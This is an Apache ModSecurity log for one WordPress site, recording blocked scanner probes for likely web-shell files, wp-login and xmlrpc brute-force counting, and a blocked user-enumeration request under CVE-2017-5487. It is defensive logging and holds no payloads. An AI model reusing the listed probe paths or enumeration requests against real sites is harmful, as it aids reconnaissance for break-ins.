[Tue Apr 14 02:41:30.093170 2026] [:error] [pid 60317:tid 60345] [client 20.220.194.201:21948] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "ad042rBo7Bc8I7P_P--_0AAAAMU"]
[Tue Apr 14 02:41:30.607422 2026] [:error] [pid 60317:tid 60362] [client 20.220.194.201:18054] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "ad042rBo7Bc8I7P_P--_0wAAANY"]
[Tue Apr 14 02:41:31.076841 2026] [:error] [pid 60317:tid 60344] [client 20.220.194.201:20206] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "ad0427Bo7Bc8I7P_P--_1QAAAMQ"]
[Tue Apr 14 02:41:31.621226 2026] [:error] [pid 59915:tid 59983] [client 20.220.194.201:32854] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "ad0424eTNdEemByf99hZWwAAAIw"]
[Tue Apr 14 02:41:32.364337 2026] [:error] [pid 59915:tid 59982] [client 20.220.194.201:18105] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "ad043IeTNdEemByf99hZXQAAAIs"]
[Tue Apr 14 02:41:33.123407 2026] [:error] [pid 60317:tid 60358] [client 20.220.194.201:35981] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "ad043bBo7Bc8I7P_P--_2gAAANI"]
[Tue Apr 14 02:41:33.894184 2026] [:error] [pid 60317:tid 60356] [client 20.220.194.201:18580] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "ad043bBo7Bc8I7P_P--_2wAAANA"]
[Tue Apr 14 02:41:34.860275 2026] [:error] [pid 59914:tid 59956] [client 20.220.194.201:28654] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "ad043uq0YMmB3OWbbUlkDAAAAEw"]
[Tue Apr 14 02:41:35.547091 2026] [:error] [pid 59914:tid 59966] [client 20.220.194.201:15225] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "ad043-q0YMmB3OWbbUlkDwAAAFY"]
[Tue Apr 14 02:41:36.499059 2026] [:error] [pid 59915:tid 59993] [client 20.220.194.201:35408] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "ad044IeTNdEemByf99hZYAAAAJY"]
[Tue Apr 14 02:41:37.948464 2026] [:error] [pid 60317:tid 60350] [client 20.220.194.201:33394] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "ad044bBo7Bc8I7P_P--_4wAAAMo"]
[Tue Apr 14 02:41:38.649959 2026] [:error] [pid 59915:tid 59976] [client 20.220.194.201:30281] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "ad044oeTNdEemByf99hZYQAAAIU"]
[Tue Apr 14 02:41:40.014155 2026] [:error] [pid 60317:tid 60357] [client 20.220.194.201:17359] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "ad045LBo7Bc8I7P_P--_5wAAANE"]
[Tue Apr 14 02:41:41.178087 2026] [:error] [pid 60317:tid 60349] [client 20.220.194.201:33413] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "ad045bBo7Bc8I7P_P--_6gAAAMk"]
[Tue Apr 14 02:41:42.501378 2026] [:error] [pid 59915:tid 59990] [client 20.220.194.201:15176] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "ad045oeTNdEemByf99hZZAAAAJM"]
[Tue Apr 14 02:42:02.642451 2026] [:error] [pid 59915:tid 59971] [client 20.220.194.201:17400] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "ad04-oeTNdEemByf99hZmwAAAIA"]
[Tue Apr 14 02:42:03.624831 2026] [:error] [pid 59913:tid 59920] [client 20.220.194.201:24195] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "ad04-65XvQ9C-gZtr2y9qgAAAAM"]
[Tue Apr 14 02:42:05.256268 2026] [:error] [pid 59913:tid 59941] [client 20.220.194.201:29962] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "ad04_a5XvQ9C-gZtr2y9rwAAABg"]
[Tue Apr 14 02:42:06.325040 2026] [:error] [pid 59913:tid 59919] [client 20.220.194.201:20214] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnm.php"] [unique_id "ad04_q5XvQ9C-gZtr2y9twAAAAI"]
[Tue Apr 14 02:42:07.121517 2026] [:error] [pid 59914:tid 59966] [client 20.220.194.201:22172] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "ad04_-q0YMmB3OWbbUlkLgAAAFY"]
[Tue Apr 14 02:42:08.172915 2026] [:error] [pid 59915:tid 59979] [client 20.220.194.201:29035] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "ad05AIeTNdEemByf99hZqwAAAIg"]
[Tue Apr 14 02:42:08.806761 2026] [:error] [pid 59915:tid 59978] [client 20.220.194.201:14621] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "ad05AIeTNdEemByf99hZsAAAAIc"]
[Tue Apr 14 02:42:09.306847 2026] [:error] [pid 59915:tid 59976] [client 20.220.194.201:18581] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "ad05AYeTNdEemByf99hZsgAAAIU"]
[Tue Apr 14 02:42:09.849943 2026] [:error] [pid 59915:tid 59984] [client 20.220.194.201:15374] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "ad05AYeTNdEemByf99hZswAAAI0"]
[Tue Apr 14 02:42:11.242022 2026] [:error] [pid 59913:tid 59934] [client 20.220.194.201:35397] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "ad05A65XvQ9C-gZtr2y9wQAAABE"]
[Tue Apr 14 02:42:12.268014 2026] [:error] [pid 59915:tid 59978] [client 20.220.194.201:22170] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "ad05BIeTNdEemByf99hZvgAAAIc"]
[Tue Apr 14 02:42:13.208926 2026] [:error] [pid 59913:tid 59931] [client 20.220.194.201:35669] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "ad05Ba5XvQ9C-gZtr2y9wgAAAA4"]
[Tue Apr 14 02:42:13.695751 2026] [:error] [pid 59915:tid 59974] [client 20.220.194.201:37586] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/file.php"] [unique_id "ad05BYeTNdEemByf99hZwwAAAIM"]
[Tue Apr 14 02:42:14.482186 2026] [:error] [pid 60317:tid 60343] [client 20.220.194.201:33386] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/file.php"] [unique_id "ad05BrBo7Bc8I7P_P-_APAAAAMM"]
[Tue Apr 14 02:42:15.019355 2026] [:error] [pid 59914:tid 59966] [client 20.220.194.201:15195] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/file.php"] [unique_id "ad05B-q0YMmB3OWbbUlkPgAAAFY"]
[Tue Apr 14 02:42:15.584160 2026] [:error] [pid 59915:tid 59994] [client 20.220.194.201:36017] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/file.php"] [unique_id "ad05B4eTNdEemByf99hZywAAAJc"]
[Tue Apr 14 02:42:16.264855 2026] [:error] [pid 59914:tid 59961] [client 20.220.194.201:22160] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "ad05COq0YMmB3OWbbUlkRAAAAFE"]
[Tue Apr 14 02:42:17.336253 2026] [:error] [pid 59914:tid 59946] [client 20.220.194.201:29261] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "ad05Ceq0YMmB3OWbbUlkSgAAAEI"]
[Tue Apr 14 02:42:18.325694 2026] [:error] [pid 59915:tid 59984] [client 20.220.194.201:29000] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "ad05CoeTNdEemByf99hZ0wAAAI0"]
[Tue Apr 14 02:42:19.377607 2026] [:error] [pid 59913:tid 59932] [client 20.220.194.201:35450] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "ad05C65XvQ9C-gZtr2y9xAAAAA8"]
[Tue Apr 14 02:42:20.693602 2026] [:error] [pid 60317:tid 60355] [client 20.220.194.201:33381] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws77.php"] [unique_id "ad05DLBo7Bc8I7P_P-_ARwAAAM8"]
[Tue Apr 14 02:42:21.544503 2026] [:error] [pid 59914:tid 59952] [client 20.220.194.201:29304] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws77.php"] [unique_id "ad05Deq0YMmB3OWbbUlkcQAAAEg"]
[Tue Apr 14 02:42:22.380135 2026] [:error] [pid 59913:tid 59917] [client 20.220.194.201:30279] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws77.php"] [unique_id "ad05Dq5XvQ9C-gZtr2y9xgAAAAA"]
[Tue Apr 14 02:42:23.245804 2026] [:error] [pid 60317:tid 60340] [client 20.220.194.201:21939] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws77.php"] [unique_id "ad05D7Bo7Bc8I7P_P-_ATAAAAMA"]
[Tue Apr 14 03:35:37.343417 2026] [:error] [pid 19689:tid 19772] [client 192.185.82.89:53346] [client 192.185.82.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.82.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad1FiZWU15arjG3aJyQx2wAAAJE"]
[Tue Apr 14 03:35:39.599035 2026] [:error] [pid 19689:tid 19773] [client 192.185.82.89:53346] [client 192.185.82.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.82.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad1Fi5WU15arjG3aJyQx3gAAAJI"], referer: https://gigfragments.org/wp-login.php
[Tue Apr 14 04:25:17.413126 2026] [:error] [pid 19688:tid 19741] [client 5.152.112.188:65405] [client 5.152.112.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.152.112.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad1RLYHoi57o76xPstKvVQAAAE0"]
[Tue Apr 14 04:25:27.938805 2026] [:error] [pid 19793:tid 19807] [client 5.152.112.188:49612] [client 5.152.112.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.152.112.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad1RNwGEQsZw9TkmIA4FGQAAAMw"]
[Tue Apr 14 04:25:38.777423 2026] [:error] [pid 19793:tid 19799] [client 5.152.112.188:50044] [client 5.152.112.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.152.112.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad1RQgGEQsZw9TkmIA4FKQAAAMQ"]
[Tue Apr 14 04:25:49.623173 2026] [:error] [pid 19793:tid 19816] [client 5.152.112.188:50438] [client 5.152.112.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.152.112.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad1RTQGEQsZw9TkmIA4FMAAAANU"]
[Tue Apr 14 04:26:00.794246 2026] [:error] [pid 64393:tid 64413] [client 5.152.112.188:50842] [client 5.152.112.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.152.112.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad1RWOClKltJhW50hKOqfgAAARI"]
[Tue Apr 14 04:43:07.135884 2026] [:error] [pid 19793:tid 19813] [client 192.185.4.160:24948] [client 192.185.4.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.4.160, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad1VWwGEQsZw9TkmIA4LFAAAANI"]
[Tue Apr 14 04:43:08.883318 2026] [:error] [pid 19793:tid 19808] [client 192.185.4.160:24948] [client 192.185.4.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.4.160, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad1VXAGEQsZw9TkmIA4LGAAAAM0"], referer: https://gigfragments.org/wp-login.php
[Tue Apr 14 04:55:52.888483 2026] [:error] [pid 19689:tid 19763] [client 45.117.242.242:51785] [client 45.117.242.242] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ad1YWJWU15arjG3aJyRPBQAAAIg"]
[Tue Apr 14 04:57:55.956541 2026] [:error] [pid 64393:tid 64395] [client 45.117.242.242:50811] [client 45.117.242.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.117.242.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad1Y0-ClKltJhW50hKO6iQAAAQA"]
[Tue Apr 14 04:59:50.911903 2026] [:error] [pid 64393:tid 64414] [client 45.117.242.242:57932] [client 45.117.242.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.117.242.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad1ZRuClKltJhW50hKO8HwAAARM"]
[Tue Apr 14 05:01:37.041623 2026] [:error] [pid 19687:tid 19710] [client 45.117.242.242:59246] [client 45.117.242.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.117.242.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad1ZsWBZImnR12CCWFoxYAAAAA4"]
[Tue Apr 14 05:03:31.201087 2026] [:error] [pid 64393:tid 64400] [client 45.117.242.242:55476] [client 45.117.242.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.117.242.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad1aI-ClKltJhW50hKO-QAAAAQU"]
[Tue Apr 14 05:05:23.281026 2026] [:error] [pid 64393:tid 64403] [client 45.117.242.242:56670] [client 45.117.242.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.117.242.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad1ak-ClKltJhW50hKO_QAAAAQg"]
[Tue Apr 14 05:25:00.679345 2026] [:error] [pid 64393:tid 64405] [client 104.28.165.133:15117] [client 104.28.165.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.165.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad1fLOClKltJhW50hKPJvwAAAQo"]
[Tue Apr 14 05:25:11.261460 2026] [:error] [pid 19689:tid 19758] [client 104.28.165.133:16394] [client 104.28.165.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.165.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad1fN5WU15arjG3aJyRY6AAAAIM"]
[Tue Apr 14 05:25:20.474495 2026] [:error] [pid 19689:tid 19764] [client 104.28.165.133:15089] [client 104.28.165.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.165.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad1fQJWU15arjG3aJyRY-QAAAIk"]
